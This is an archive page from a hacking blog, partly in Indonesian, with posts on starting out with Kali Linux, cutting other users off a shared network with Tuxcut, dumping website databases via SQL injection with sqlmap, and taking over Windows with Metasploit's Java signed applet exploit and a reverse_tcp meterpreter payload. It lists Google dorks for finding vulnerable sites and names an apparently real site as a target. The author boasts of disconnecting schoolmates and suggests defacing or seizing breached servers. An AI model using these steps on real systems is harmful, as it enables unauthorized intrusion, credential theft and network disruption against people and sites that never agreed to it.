Affichage des articles dont le libellé est hacking with kali linux. Afficher tous les articles
Affichage des articles dont le libellé est hacking with kali linux. Afficher tous les articles

Tutorial on Hacking With Kali Linux

Hacking With Kali Linux


Why Kali Linux?


With Kali Linux, hacking becomes much easier since you have all the tools (more than 300 pre-installed tools) you are probably ever gonna need. Others can be downloaded easily. Now this tutorial will get you started and you'll be hacking with Kali Linux before you know it.





The problem with beginners

Now, I've been dealing with beginners since a long time. What they want is magic. A tool which is easy to use, works on Windows, can be download by searching on Google and clicking on the first link we see, and will do all the hacking itself on the push of a button. Sadly, no such tool exists. Hacking is an art, and it takes years of practice to master it. So how to get started? Having no idea about hacking is okay, but being a newbie with computers in general is not allowed. When I say beginner, I mean someone who has no experience with programming and with hacking methodologies. I didn't mean someone who needs a 1 page guide on how to download a tool. If you want to be a hacker, you have to work hard. So how to get started? If you have installed Kali Linux,  click here to skip past the installation paragraphs and go to hacking section of this post)






Getting Started

Now, I am not boring you with theory (^ As if all this wasn't enough theory). My aim is to get you to the point where you can start hacking with Kali Linux as soon as possible. What I'm gonna do is tell you what to do. The process is rather simple :-



Things get tough now

If you have no previous experience with Linux and virtual machines and all that stuff, getting Kali Linux up and running won't be a piece of cake.You have 2 options :



1. Read the Kali official documentation

That will give you an idea about what is a virtual machine, how OS can be run from USB, and how to create a partition and run 2 OS simultaneously. This is what I recommend. For that, go to Kali Official Documentation .

2. Read my modified version of Kali documentation

The second option is to look at these posts, which are just sparingly modified versions of the Kali docs, and offer no advantage other than saving your time as their documentations cover much more than what the ones here do, and you don't really need to know all so much... yet. I'm linking them up here:



    Command Line Interface

    Some bash commands
    Now, if you are really sure about becoming a hacker, you have to get used to linux, and specifically the command line interface. It is often compared to (and rightly so) to command prompt of Windows, but Linux' cli is much efficient and better than command prompt. What you have to do is do all the usual tasks you do in Windows in cli of Linux. Use cd to navigate, poweroff to shutdown, etc.
    A pretty awesome site for that is - http://linuxcommand.org/
    Going through the complete site is on its own enough exercise to keep you occupied for a month, but you can proceed gradually. The first few tutorials here will keep in mind that you don't have much info about cli, and will be really beginner friendly.


      Some Useful Commands:

      If you don't plan on learning all of linux cli commands, here are a few that will keep your boat afloat.
      1. The default username and password is 'root' and 'toor'. 
      2. Type 'poweroff' in the terminal to shutdown. 
      3. apt-get command can be used to install tools and updates. 
      4. apt-get update and apt-get upgrade will update all the programs installed on your machine. 
      5. apt-get dist-upgrade will install the latest distribution of Kali(i.e. it upgrades your OS).

      PS : Tapping while typing makes Kali complete the word for you . Double tapping makes it display all possible words starting with the incomplete word. Ctrl+c stops the functioning of any tool that is running. Pressing the up arrow key shows the command you last typed.


      Some Real Hacking With Kali Linux

      Assuming you've gone through the above steps and are comfortable with your new hacking environment, its time to do some real hacking with Kali Linux. My recommendation would be to start by hacking a wifi, then do some penetration testing, and maybe read something on Denial of Service when you have free time. Links here-

      Hack wireless networks in Kali Linux using aircrack 

      Penetration Testing In Kali For Beginners

      Denial Of Service Attacks




        ~ mercredi 16 juillet 2014 0 commentaires

        So You Want To Be A Hacker

        Ah! The world of hackers. It has changed much from the fabled green black terminal operated by guys with spectacles on their eyes and a serious look on their face. Now even a script kiddie who types a few lines on a Kali Linux calls himself a hacker. The terminal is still there, but the colors have changed. It's black terminal with text of all colors. But who cares about the colors. It's the new Operating Systems : The likes of Kali Linux,
        Backtrack, BackBox Linux, Node Zero, Blackbuntu, and many more, which have made hacking much easier. However, has it got easy enough? No. Not at all.



        It's getting harder

        When the going gets tough, the tough get going
        While Kali Linux can make hacking Windows XP, wirless networks, and some weak websites very easy, it doesn't mean it is a magical solution to all problems. Everything that can be hacked easily is ancient. No one uses Windows XP anymore, and if they do, the machines are patched because of automatic updates. Very few websites are vulnerable to the standard SQL injection attacks. You'll have to think up and use variants of standard injections to counter the defenses. Yes, WEP networks are easy to hack, and are still abundant, especially in developing countries. But if you want to hack Facebook, then you should step back already, you're going the wrong direction. Facebook isn't paying millions for security so that a kid can Google up the procedure to hack FB and be done with it overnight. But wait, how could I even imagine that you've already reached this point. While all this hacking XP and WEP shit is pretty easy, is it okay to assume you can do it, and are worried about the 'harder' part. Or wait, are you experiencing difficulty in even using Kali Linux. Can't figure out how to install it. Well...

        Oh well

        First time is always the hardest
        In the previous few paragraphs I made a big mistake. I assumed that you have installed Kali Linux and can do some basic stuff with it, and the intermediate level tasks are bothering you. I almost forgot how it was for me. Well let me tell you.


        1. I was 12. Wanted to hack this wireless network next door. 
        2. Download some shitty Windows software. Won't work. Plus had malware installed which had to be removed with antivirus.
        3. More googling, came across BT4. Googled up some tutorials on how to install it. Was too stupid for Vmware. Live? No. Couldn't create a bootable USB. I downloaded the OS and simply copied it to the USB and thought it'll boot. Googled more. Some result said something about boot order. Okay, make USB boot before hard disk. Made some sense, but it wouldn't work. As it is, I was scared as hell when modifying stuff in the scary looking BIOS interface. Hoping I don't do any damage.
        4. Some time later, BT5 was released. Me? A bit smarter this time. Could get BT5 to boot. Read some WEP hacking tutorials. Wasn't able to follow. I even had a tough time with getting the GUI to start. In BT5 we had to type startx for starting X Display server. Didn't know that. Finally, hacked wifi using Aircrack-ng GTK or something (don't remember the name exactly, but it was GUI mode of aircrack, and it was pretty easy for a beginner like me to use it).
        5. Took me an year before I knew how to do stuff without GUI. An year sounds like a long time, but remember, I have much more stuff to do than just hack. I used BT5 once every few months, only when a new network would show up in the neighbourhood, and I would hack it with my laptop. 
        6. Had a great sense of accomplishment inside me. Felt like I was king of this territory, and owned every wireless network here. But then, a WPA-2 network appeared. I tried everything I could, but gave up. I read on hackforums a tutorial on using WPS vulnerability to hack WPA. Well, it looked like it was written in an alien language. Honestly, after knowing how easy hacking WPS enable WPA networks is, I seriously think that the first time indeed is the hardest. 
        7. Fast forward to this moment. I have mastered the basics of linux command line interface, but still have a lot to learn. I can write bash scripts to automate stuff, and can use most of the tools with ease. I am currently studying exploit development and research and can write simple exploits. There's a lot left to learn. I know the depths of wireless pentesting, but only intermediate level of web pentesting. I know the basics of social engineering, but again, lot of things to learn. Now if you are concluding I'm an idiot on the basis of the fact that in every field I just know the basics, well then you need to realize that the meaning of basics in my perspective is much different from that in yours. I need to know a lot of stuff, but I know a lot too.
        So what do you conclude from this? Well if you are not able to install Kali, or follow any other tutorial in my website, then don't be surprised. If everyone who visits this website became a hacker, then we'd be having more than 100k hackers created from this website alone, which isn't a good thing at all, considering there are many other websites which receive much more traffic than mine. 

        Why so difficult

        Hacking is an art
        Because that's the way it is. Hacking is an art, and like any other, it takes practice, hard work and determination to master this art. For example, after watching dynamo on TV, I got lured into the idea of becoming a magician. Well, I tried some tricks, but failed miserably. Realized it was not my piece of cake. Some of the tricks require years of practice before they can be pulled off successfully. Not everyone who decides to be a magician ends up becoming one. There are obstacles in the way, disappointments, milestones too hard too achieve. The ones who stay determined all the way to the end only achieve this. It's not everyone's piece of cake. Same goes with hacking. What makes hackers exclusive and special is the fact that not everyone is a hacker. I am known in my class (whole school as well) for being a hacker. Why? Because I'm the only one. Not everyone who sets out to be a hacker becomes one. But there's more to the story than this.


        Not that difficult

        You are lucky that you ended up on this blog (not a quote as such)
        Well, the sites I used to learn hacking were crap. The WEP tutorial was just 3-4 lines of code and no
        explanation. I won't be wrong if I say that, while I read a lot of tutorials, none was good enough. For every line in a tutorial, I had to google up another tutorial which explained what it meant. That is, I worked hard and figured everything out on my own. You, however, are lucky. The posts in this blog have been written such that everything is properly explained. In the later tutorials I have been a bit lazy, but it won't be a problem if you follow the tutorials in correct sequence. If you have read 2-3 tutorials on pentesting, you would already know the basics, and the 4th one wouldn't have to be very detailed. If you jump to Win 7 hacking without going through XP, then you'll encounter difficulties. Now I have created a page on this blog where I have ordered the posts in the desirable order of reading. You might also look at the navigation menu on top and read all the tutorials on a top to bottom order basis. And here's the truth finally.

        The truth

        I want to hack facebook
        If you are learning hacking to hack your friends account, then you're never going to become a hacker. Just hire someone to do it. Because the time and effort you'll invest in making an attempt to learn how to do it yourself, and eventually  failing in the same, is much more valuable than the money required to hire someone (no I don't hack FB accounts for money). You might still try social engineering, but it is not a 100% working method, and well, phishing is not hacking, and is illegal. However, if you're motives aren't that selfish, and if you are on a quest for knowledge, then rest assured, you will achieve success. Also , you need to know the art of google-fu. If you face any difficulties, remember, google is a friend (and so am I, I have replied to 100s of comments on this blog personally and always get people through difficulties). The last thing, 50% of the people who come to this blog leave within 1 min of their visit, after seeing just one page. 30% stay for 4-10 mins and read 2 posts. 20% stay for more than 10 minutes, and keep coming back. Only these 20% successfully will become a hacker. Either they succeeded in achieving what they wanted, loved the blog, and came back for more, or they didn't succeed, but came back to try again, and I'm sure they would succeed on a second attempt. Remember, never give up. Less than 20% of the visitors here actually succeed in getting what they want, try and be in that 20%. And if you have any suggestion for this post or for my way of explanation or anything else in general, please comment.

        ~ mardi 17 juin 2014 0 commentaires

        Memutuskan Koneksi Orang Lain Dengan Tuxcut Kali Linux

        Memutuskan Koneksi Orang Lain Dengan Tuxcut Kali Linux
        Memutuskan Koneksi Orang Lain Dengan Tuxcut Kali Linux - Tuxcut adalah sebuah program kecil yang berfungsi (netcut) "memotong koneksi jaringan dari pengguna di jaringan yang sama" berjalan pada sistem operasi linux. TuxCut adalah program yang sama seperti netcut (di Windows) yang biasanya berjalan dengan library visual basic, ini adalah program kecil dan kuat untuk membantu kita untuk aman dan aman koneksi internet kami dari `pengguna` yang rakus memakan banyak bandwidth, jadi intinya program ini dibuat untuk memutuskan koneksi orang lain dalam satu jaringan.

        Memutuskan Koneksi Orang Lain Dengan Tuxcut Kali Linux

        pertama yang harus anda lakukan adalah menginstall Software Tuxcut terlebih dahulu di kali linux kita.
        Download terlebih dahulu disini , pilih tuxcut_5.1_all.deb 
        Download Tuxcut 

        Sebelum install Tuxcut, Persiapkan Aplikasi pendukung lainnya untuk memastikan aplikasi tuxcut ini berjalan dengan baik,,, oke lanjut ,, install aplikasi pendukung tuxcut dibawah ini:

        Tuxcut membutuhkan modul2 lain, seperti
        -arp-scan
        -dsniff
        -arp-tables
        -wondershaper

        jika belum mempunyai keempat itu download dan instal saja ,,,

        1. arp-scan ( buka terminal lalu ketik ) :

           apt-get install arp-scan

        2. dsnif

            apt-get install dsniff

        3. arp-tables

            apt-get install arptables

        4. wondershaper
         
            apt-get install wondershaper 

        biasanya di kal linux sudah terinstall , jika sudah langkah selanjutnya kita install tuxcut nya pertama anda buka terminal lalu cari file Tuxcut yang kita download tadi kalau disini saya simpan di directory /Downloads lalu jalankan perintah
        dpkg -i tuxcut_5.1_all.deb
        Memutuskan Koneksi Orang Lain Dengan Tuxcut Kali Linux

        jika sudah di install saatnya membuka aplikasi tersebut dengan cara buka menu
        Applications > Internet > Tuxcut

        Memutuskan Koneksi Orang Lain Dengan Tuxcut Kali Linux

        setelah dibuka anda akan ada sebuah dialog anda disuruh memilih tipe jaringan anda bila anda menggunakan jaringan wireless atau wifi pilih wlan0 jika dalam koneksi Lan pilih eth0 karna saya memakai Lan maka saya pilih eth0

        Memutuskan Koneksi Orang Lain Dengan Tuxcut Kali Linux

        setelah itu akan terbuka aplikasi Tuxcut nya

        Memutuskan Koneksi Orang Lain Dengan Tuxcut Kali Linux

        - klik scan untuk scanning target...
        - jika sudah muncul IP klik CUT untuk memutuskan koneksi korban
        - Resume untuk menyambungkan lagi koneksi korban..
        - Change MAC untuk menggantu MAC address
        - Klik Protect Me untuk memproteksi koneksi anda agar tidak bisa di cut

        * saya sudah mencoba pada jaringan Wireless ataupun LAN, dan Berhasil... dan lumayan koneksi saya jadi ngebut karna saya make wifi sekolah :v dan temen temen saya pada gak bisa connect wkwkowokowkow :v

        sekian dulu artikel mengenai Memutuskan Koneksi Orang Lain Dengan Tuxcut Kali Linux saran saya jangan terlalu sering di pake kasian orang lain gak bisa internetan :v kwkwwkwk gunakan seperlunya saja sekian dari saya
        Terimakasih



        ~ lundi 2 juin 2014 0 commentaires

        Tutorial Sql Injection Dengan SQLMAP Kali Linux

        Tutorial Sql Injection Dengan SQLMAP Kali Linux - SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter,jadi hacker dapat dengan mudah mendapatkan data dari website targetnya.

        SQLMAP adalah penetrasi open source pengujian alat yang mengotomatisasi proses mendeteksi dan mengeksploitasi kelemahan SQL injection dan mengambil alih server database.

        oke setelah melihat tentang penjelasan tersebut kita akan langsung coba praktekan oke Tutorial Sql Injection Dengan SQLMAP Kali Linux

        Tutorial Sql Injection Dengan SQLMAP Kali Linux

        pertama yang harus anda lakukan adalah mencari target website yang vuln sql injection dengan menggunakan dork dibawah ini,copy paste dork ni di google


        inurl:trainers.php?id= 
        inurl:buy.php?category= 
        inurl:article.php?ID= 
        inurl:play_old.php?id= 
        inurl:declaration_more.php?decl_id= 
        inurl:pageid= 
        inurl:games.php?id= 
        inurl:page.php?file= 
        inurl:newsDetail.php?id= 
        inurl:gallery.php?id= 
        inurl:article.php?id= 
        inurl:show.php?id= 
        inurl:staff_id= 
        inurl:newsitem.php?num= 
        inurl:readnews.php?id= 
        inurl:top10.php?cat= 
        inurl:historialeer.php?num= 
        inurl:reagir.php?num= 
        inurl:Stray-Questions-View.php?num= 
        inurl:forum_bds.php?num= 
        inurl:game.php?id= 
        inurl:view_product.php?id= 
        inurl:newsone.php?id= 
        inurl:sw_comment.php?id= 
        inurl:news.php?id= 
        inurl:avd_start.php?avd= 
        inurl:event.php?id=  
        inurl:product-item.php?id= 
        inurl:sql.php?id= 
        inurl:news_view.php?id= 
        inurl:select_biblio.php?id= 
        inurl:humor.php?id= 
        inurl:aboutbook.php?id= 
        inurl:ogl_inet.php?ogl_id= 
        inurl:fiche_spectacle.php?id= 
        inurl:communique_detail.php?id= 
        inurl:sem.php3?id= 
        inurl:kategorie.php4?id= 
        inurl:news.php?id= 
        inurl:index.php?id=
        inurl:faq2.php?id= 
        inurl:show_an.php?id= 
        inurl:preview.php?id= 
        inurl:loadpsb.php?id= 
        inurl:opinions.php?id= 
        inurl:spr.php?id= 
        inurl:pages.php?id= 
        inurl:announce.php?id= 
        inurl:clanek.php4?id= 
        inurl:participant.php?id= 
        inurl:download.php?id= 
        inurl:main.php?id= 
        inurl:review.php?id= 
        inurl:chappies.php?id= 
        inurl:read.php?id= 
        inurl:prod_detail.php?id= 
        inurl:viewphoto.php?id= 
        inurl:article.php?id= 
        inurl:person.php?id= 
        inurl:productinfo.php?id= 
        inurl:showimg.php?id= 
        inurl:view.php?id= 
        inurl:website.php?id= 
        inurl:hosting_info.php?id= 
        inurl:gallery.php?id= 
        inurl:rub.php?idr= 
        inurl:view_faq.php?id= 
        inurl:artikelinfo.php?id= 
        inurl:detail.php?ID= 
        inurl:index.php?= 
        inurl:profile_view.php?id= 
        inurl:category.php?id= 
        inurl:publications.php?id= 
        inurl:fellows.php?id= 
        inurl:downloads_info.php?id= 
        inurl:prod_info.php?id= 
        inurl:shop.php?do=part&id= 
        inurl:productinfo.php?id= 
        inurl:collectionitem.php?id= 
        inurl:band_info.php?id=  
        inurl:product.php?id= 
        inurl:releases.php?id= 
        inurl:ray.php?id= 
        inurl:produit.php?id= 
        inurl:pop.php?id= 
        inurl:shopping.php?id= 
        inurl:productdetail.php?id= 
        inurl:post.php?id= 
        inurl:viewshowdetail.php?id= 
        inurl:clubpage.php?id= 
        inurl:memberInfo.php?id= 
        inurl:section.php?id= 
        inurl:theme.php?id= 
        inurl:page.php?id= 
        inurl:shredder-categories.php?id= 
        inurl:tradeCategory.php?id= 
        inurl:product_ranges_view.php?ID= 
        inurl:shop_category.php?id= 
        inurl:transcript.php?id= 
        inurl:channel_id= 
        inurl:item_id= 
        inurl:newsid= 
        inurl:trainers.php?id= 
        inurl:news-full.php?id= 
        inurl:news_display.php?getid= 
        inurl:index2.php?option= 
        inurl:readnews.php?id= 
        inurl:top10.php?cat= 
        inurl:newsone.php?id= 
        inurl:event.php?id= 
        inurl:product-item.php?id= 
        inurl:sql.php?id= 
        inurl:aboutbook.php?id= 
        inurl:preview.php?id= 
        inurl:loadpsb.php?id= 
        inurl:pages.php?id= 
        inurl:material.php?id= 
        inurl:clanek.php4?id= 
        inurl:announce.php?id= 
        inurl:chappies.php?id= 
        inurl:read.php?id= 
        inurl:viewapp.php?id= 
        inurl:viewphoto.php?id= 
        inurl:rub.php?idr= 
        inurl:galeri_info.php?l= 
        inurl:review.php?id= 
        inurl:iniziativa.php?in= 
        inurl:curriculum.php?id= 
        inurl:labels.php?id= 
        inurl:story.php?id= 
        inurl:look.php?ID= 
        inurl:newsone.php?id= 
        inurl:aboutbook.php?id=  
        inurl:material.php?id= 
        inurl:opinions.php?id= 
        inurl:announce.php?id= 
        inurl:rub.php?idr= 
        inurl:galeri_info.php?l= 
        inurl:tekst.php?idt= 
        inurl:newscat.php?id= 
        inurl:newsticker_info.php?idn= 
        inurl:rubrika.php?idr= 
        inurl:rubp.php?idr= 
        inurl:offer.php?idf=
        inurl:art.php?idm= 
        inurl:title.php?id= 
        buy.php?category= 
        article.php?ID= 
        play_old.php?id= 
        declaration_more.php?decl_id= 
        Pageid= 
        games.php?id= 
        page.php?file= 
        newsDetail.php?id= 
        gallery.php?id= 
        article.php?id= 
        play_old.php?id= 
        show.php?id= 
        staff_id= 
        newsitem.php?num= 
        readnews.php?id= 
        top10.php?cat= 
        historialeer.php?num= 
        reagir.php?num= 
        forum_bds.php?num= 
        game.php?id= 
        view_product.php?id= 
        newsone.php?id= 
        sw_comment.php?id= 
        news.php?id= 
        avd_start.php?avd= 
        event.php?id= 
        product-item.php?id= 
        sql.php?id= 
        news_view.php?id= 
        select_biblio.php?id= 
        humor.php?id= 
        aboutbook.php?id= 
        fiche_spectacle.php?id= 
        communique_detail.php?id= 
        sem.php3?id= 
        kategorie.php4?id= 
        faq2.php?id= 
        show_an.php?id= 
        preview.php?id= 
        loadpsb.php?id=  
        opinions.php?id= 
        spr.php?id= 
        pages.php?id= 
        announce.php?id= 
        clanek.php4?id= 
        participant.php?id= 
        download.php?id= 
        main.php?id= 
        review.php?id= 
        chappies.php?id= 
        read.php?id= 
        prod_detail.php?id= 
        viewphoto.php?id= 
        article.php?id= 
        play_old.php?id= 
        declaration_more.php?decl_id= 
        category.php?id= 
        publications.php?id= 
        fellows.php?id= 
        downloads_info.php?id= 
        prod_info.php?id= 
        shop.php?do=part&id= 
        Productinfo.php?id= 
        website.php?id= 
        Productinfo.php?id=
        showimg.php?id= 
        view.php?id= 
        rub.php?idr= 
        view_faq.php?id= 
        artikelinfo.php?id= 
        detail.php?ID= 
        collectionitem.php?id= 
        band_info.php?id= 
        product.php?id= 
        releases.php?id= 
        ray.php?id= 
        produit.php?id= 
        pop.php?id= 
        shopping.php?id= 
        productdetail.php?id= 
        post.php?id= 
        viewshowdetail.php?id= 
        clubpage.php?id= 
        memberInfo.php?id= 
        section.php?id= 
        theme.php?id= 
        page.php?id= 
        shredder-categories.php?id= 
        tradeCategory.php?id= 
        shop_category.php?id= 
        transcript.php?id= 
        channel_id= 
        item_id=  
        newsid= 
        trainers.php?id= 
        buy.php?category= 
        article.php?ID= 
        play_old.php?id= 
        iniziativa.php?in= 
        detail_new.php?id= 
        tekst.php?idt= 
        newscat.php?id= 
        newsticker_info.php?idn= 
        rubrika.php?idr= 
        rubp.php?idr= 
        offer.php?idf=
        hotel.php?id= 
        art.php?idm= 
        title.php?id= 
        look.php?ID= 
        story.php?id= 
        labels.php?id= 
        review.php?id= 
        chappies.php?id= 
        news-full.php?id= 
        news_display.php?getid= 
        index2.php?option= 
        ages.php?id= 
        "id=" & intext:"Warning: mysql_fetch_assoc() 
        "id=" & intext:"Warning: mysql_fetch_array() 
        "id=" & intext:"Warning: mysql_num_rows() 
        "id=" & intext:"Warning: session_start() 
        "id=" & intext:"Warning: getimagesize()
        "id=" & intext:"Warning: Unknown() 
        "id=" & intext:"Warning: pg_exec() 
        "id=" & intext:"Warning: array_merge() 
        "id=" & intext:"Warning: mysql_result() 
        "id=" & intext:"Warning: mysql_num_rows() 
        "id=" & intext:"Warning: mysql_query()
        "id=" & intext:"Warning: filesize()

        lalu setelah mendapatkan target kita coba tambahkan tanda ' pada ujung addres bar website target disini saya mempunyai website dengan bug sql injection yaitu http://www.woodbridgeparty.com/products.php?id=111 setelah itu saya coba tambahkan tanda petik di ujung angka 111 seperti ini http://www.woodbridgeparty.com/products.php?id=111' maka akan ada error berarti web itu vuln sql injection dan kita bisa lanjutakan tahap berikutnya yaitu menginject bug tersebut dengan sqlmap

        Tutorial Sql Injection Dengan Sqlmap

        setelah itu buka terminal dan masukan perintah berikut :
        sqlmap -u http://website-target.com/contoh.php?id=1 --dbs silahkan ganti website target sesuai website yang kita inject yang memiliki bug sql injection seperti diatas

        Tutorial Sql Injection Dengan SQLMAP Kali Linux

        setalah itu tekan enter dan tunggu sampai sqlmap mendapatkan informasi database target proses ini kira kira sekitar 5 menit tergantu koneksi anda, setelah selesai kita akan mendapatkan database target maka langkah selanjutnya menampilkan tables database tersebut denga perintah :
        sqlmap -u http://website-target.com/contoh.php?id=1 -D namadatabase --tables

        Tutorial Sql Injection Dengan SQLMAP Kali Linux

        setelah itu tekan enter dan tunggu beberapa saat sampai sqlmap mendapatkan tables dari database website tersebut jika sudah maka akan tampil tables database website tersebut langkah selanjutnya kita jalankan perintah untuk mengetahui isi columns dari tables database tersebut dengan perintah :
        sqlmap -u http://website-target.com/contoh.php?id=1 -D namadatabase -T namatables --columns

        Tutorial Sql Injection Dengan SQLMAP Kali Linux

        tunggu beberapa saat sampai sqlmap menampilkna data columns dari tables databas web tersebut setelah mendapatkan columns database tersebut langkah terakhir kita hanya perlu men dump data columns tersebut dengan perintah :
        sqlmap -u http://website-target.com/contoh.php?id=1 -D namadatabase -T namatables -C namacolumn,namacolumn2 --dump

        Tutorial Sql Injection Dengan SQLMAP Kali Linux

        tunggu beberapa saat sampai sqlmap berhasil mendump data columns database tersebut setelah selesai maka kita akan mendapatkan data web tersebut 

        Sqlmap Kali Linux


        dan akhirnya kita mendapatkan user dan pass web tersebut
        +--------------------------+----------------------------------+
        | uname                | upass                          |
        +-------------------------+-----------------------------------+
        | js7Xzco=            | jN/O193KyA==          |
        | k9bIzMrTxw== | k9bIzMrTx6PU0A== |
        +-------------------------+-----------------------------------+
        tinggal kita kembangkan lagi sesuai keinginan kita contoh nya kita ingin dump table lain kita tinggal ganti nama tables nya dan kesananya sama saja setelah sampai tahap ini tinggal kita cari halaman admin web tersebut terserah deh web itu mau di apain ntah itu di deface di ambil server nya dan lain lain saya di sini cuman share ilmu yang saya miliki saja selebihnya jika di salahgunakan itu bukan tanggung jawab saya . sekian Tutorial Sql Injection Dengan SQLMAP Kali Linux kali ini semoga bermanfaat 
        Terimakasih

        ~ dimanche 1 juin 2014 0 commentaires

        Java signed applet Hack Windows 8 Java vulnerability

        Purpose of this tutorial

        In this tutorial we will look at how difficult it can be to hack modern operating systems. While you won't be getting the kind of results you were expecting, you will learn a lot here. The exploit will not work at first go, it will not work in the second go, it will eventually work, but we would have modified too many settings in the target OS to call it success. We will be using a pretty mainstream exploit here, the java signed applet exploit.
        (Just in case you're new here. You need to have Kali Linux installed, as well as have some basic info about metasploit. Here is the collection of all tutorials. Read first few or maybe all. I write new posts assuming you've read the previous ones)

        Hack any Windows Version

        In the previous tutorials we have hacked Windows XP and tested a few Payloads and its features. In this tutorial, we will use a Java exploit to hack any Windows version. Now there are some things that you need to know-
        1. There are no 'type something on console and press enter' exploits for modern Operating Systems. They invest enough in security to patch any such vulnerabilities. 
        2. The modern operating systems have exploits where the user has to do something like click on a link, install some program, and in our case, allow java plugin to be used.
        3. The Operating systems are quite secure, however the applications installed by the users almost always have some bugs which can be exploited, and then by privilege escalation methods, you can get a administrator shell. Jave is widely used, and is, unfortunately, quite secure (but we will still use a  Java exploit here)
        4. If you have the latest OS and latest version of Java installed, then they already know how to deal with these kind of attacks and it won't work. We will use Windows 8 and Java 7 build 60 (I upgraded it today), and our exploit will not work. We will then see how to make it work. We will learn a lot of new things. Please follow along only if you have curiosity for knowledge, not just desire to hack.

        Java Signed Applet Exploit (browser based exploit)

        Some official words here, to help with your digestion-

        This exploit dynamically creates a .jar file via the Msf::Exploit::Java mixin, then signs the it. The resultin
        g signed applet is presented to the victim via a web page with an applet tag. The victim's JVM will pop a dialog asking if they trust the signed applet. On older versions the dialog will display the value of CERTCN in the "Publisher" line. Newer JVMs display "UNKNOWN" when the signature is not trusted (i.e., it's not signed by a trusted CA). The SigningCert option allows you to provide a trusted code signing cert, the values in which will override CERTCN. If SigningCert is not given, a randomly generated self-signed cert will be used. Either way, once the user clicks "run", the applet executes with full user permissions.

        Follow these steps

        Commands to execute in bold and red and instruction is green.

        root@kali:~# service postgresql start[ ok ] Starting PostgreSQL 9.1 database server: main.
        root@kali:~# service metasploit start[ ok ] Starting Metasploit rpc server: prosvc.
        [ ok ] Starting Metasploit web server: thin.
        root@kali:~# msfconsole _                                                    _
        / \    /\         __                         _   __  /_/ __
        | |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
        | | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
        |_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
              |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\

        Using notepad to track pentests? Have Metasploit Pro report on hosts,
        services, sessions and evidence -- type 'go_pro' to launch it now.
               =[ metasploit v4.6.0-dev [core:4.6 api:1.0]
        + -- --=[ 1060 exploits - 659 auxiliary - 178 post
        + -- --=[ 275 payloads - 28 encoders - 8 nops
        msf > use exploit/multi/browser/java_signed_applet (Java signed applet exploit)    msf  exploit(java_signed_applet) > show options
        Module options (exploit/multi/browser/java_signed_applet):
           Name            Current Setting  Required  Description
           ----            ---------------  --------  -----------
           APPLETNAME      SiteLoader       yes       The main applet's class name.
           CERTCN          SiteLoader       yes       The CN= value for the certificate. Cannot contain ',' or '/'
           SRVHOST         0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
           SRVPORT         8080             yes       The local port to listen on.
           SSL             false            no        Negotiate SSL for incoming connections
           SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
           SSLVersion      SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
           SigningCert                      no        Path to a signing certificate in PEM or PKCS12 (.pfx) format
           SigningKey                       no        Path to a signing key in PEM format
           SigningKeyPass                   no        Password for signing key (required if SigningCert is a .pfx)
           URIPATH                          no        The URI to use for this exploit (default is random)

        Exploit target:
           Id  Name
           --  ----
           1   Windows x86 (Native Payload)

        msf  exploit(java_signed_applet) > set PAYLOAD windows/meterpreter/reverse_tcp (meterpreter payload)PAYLOAD => windows/meterpreter/reverse_tcp
        msf  exploit(java_signed_applet) > show options
        Module options (exploit/multi/browser/java_signed_applet):
           Name            Current Setting  Required  Description
           ----            ---------------  --------  -----------
           APPLETNAME      SiteLoader       yes       The main applet's class name.
           CERTCN          SiteLoader       yes       The CN= value for the certificate. Cannot contain ',' or '/'
           SRVHOST         0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
           SRVPORT         8080             yes       The local port to listen on.
           SSL             false            no        Negotiate SSL for incoming connections
           SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
           SSLVersion      SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
           SigningCert                      no        Path to a signing certificate in PEM or PKCS12 (.pfx) format
           SigningKey                       no        Path to a signing key in PEM format
           SigningKeyPass                   no        Password for signing key (required if SigningCert is a .pfx)
           URIPATH                          no        The URI to use for this exploit (default is random)

        Payload options (windows/meterpreter/reverse_tcp):
           Name      Current Setting  Required  Description
           ----      ---------------  --------  -----------
           EXITFUNC  process          yes       Exit technique: seh, thread, process, none
           LHOST IP needed here   yes       The listen address   LPORT     4444             yes       The listen port

        Exploit target:
           Id  Name
           --  ----
           1   Windows x86 (Native Payload)

        msf  exploit(java_signed_applet) > set LHOST 192.168.154.134 (type ifconfig to find your Kali IP) LHOST => 192.168.154.134
        msf  exploit(java_signed_applet) > exploit
        [*] Exploit running as background job.
        msf  exploit(java_signed_applet) >
        [*] Started reverse handler on 192.168.154.134:4444
        [*] Using URL: http://0.0.0.0:8080/ybfxLEoT
        [*]  Local IP: http://192.168.154.134:8080/ybfxLEoT (copy this and paste it into the browser of computer you want to hack)[*] Server started.
        [*] 192.168.154.1    java_signed_applet - Handling request
        [*] 192.168.154.1    java_signed_applet - Handling request
        [*] 192.168.154.1    java_signed_applet - Handling request
        msf  exploit(java_signed_applet) >

        On our Windows 8 machine

        If you haven't installed Java then this is what you'll see.
        If you have installed Java then this is what you'll see.


        Now after you click run this time, you might end up seeing a dialog which blocked access to java plugin even after we allowed it.
        If you are using an older version of Java, you might have gained access already, unless your antivirus detected the payload, which is basically a trojan (if you succeed here, a session will be created in metasploit, but it will be in background. See the end of tutorial to find out how to use that session and then come back here to see the scenario in case of Windows 8, there are things to learn) But it my case, now it's time to realize that we've taken a head on collision with a really secure operating system and the latest version of Java. Now, as I said, this will not work, but you can still give it your best shot.

        Why won't it work

        Java Sandbox

        In technical terms : The java-sandbox allows you to securely execute untrusted code (for example, user generated scripts in scripting languages such as groovy or rhino) from within your application. It allows you to specify resources and classes that may be used by the code, thus, separating the execution from the application's execution environment. It allows to wrap execution environments in threads or even execute them remotely on different jvms.(sourceforge)

